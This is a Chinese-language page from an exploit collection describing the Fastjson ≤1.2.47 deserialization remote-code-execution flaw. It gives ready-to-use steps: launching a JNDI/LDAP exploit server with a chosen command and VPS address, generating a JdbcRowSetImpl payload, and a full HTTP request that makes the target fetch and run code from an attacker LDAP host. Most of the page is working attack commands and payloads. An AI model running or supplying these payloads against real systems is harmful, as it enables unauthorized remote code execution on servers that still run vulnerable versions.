menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right POChouse-main chevron_right Fastjson chevron_right Fastjson 1.2.47 反序列化RCE
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    lightbulb_outline README

    漏洞概述

    Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

    heckAutoType黑名单中可绕过

    影响范围

    Fastjson <= 1.2.47

    漏洞利用

    1、启动LDAP服务

    @welk1n(JNDI-Injection-Exploit)

    需要VPS放行端口,此工具会自动打开监听端口

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A "VPS-IP"

    2、生成Payload(可跳过,直接用payload)

    @c0ny1(FastjsonExploit) 一键生成个版本Payload,并启动利用环境

    这个启动不了环境会报错,所一用上边的方法启动环境,这里的执行命令随便写,不影响结果

    #编译
    mvn clean package -DskipTests
    java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl5 ldap://110.x.x.4:1389/qlwkdn "cmd:ls"

    生成的payload

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1x.x.x.x:1389/qlwkdn","autoCommit":true}}}

    3、Burp发送payload

    POST / HTTP/1.1
    Host: 192.168.2.133:32770
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 203
    
    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1x.x.x.x:1389/qlwkdn","autoCommit":true}}}

    参考链接

    Fastjson反序列化漏洞的检测和利用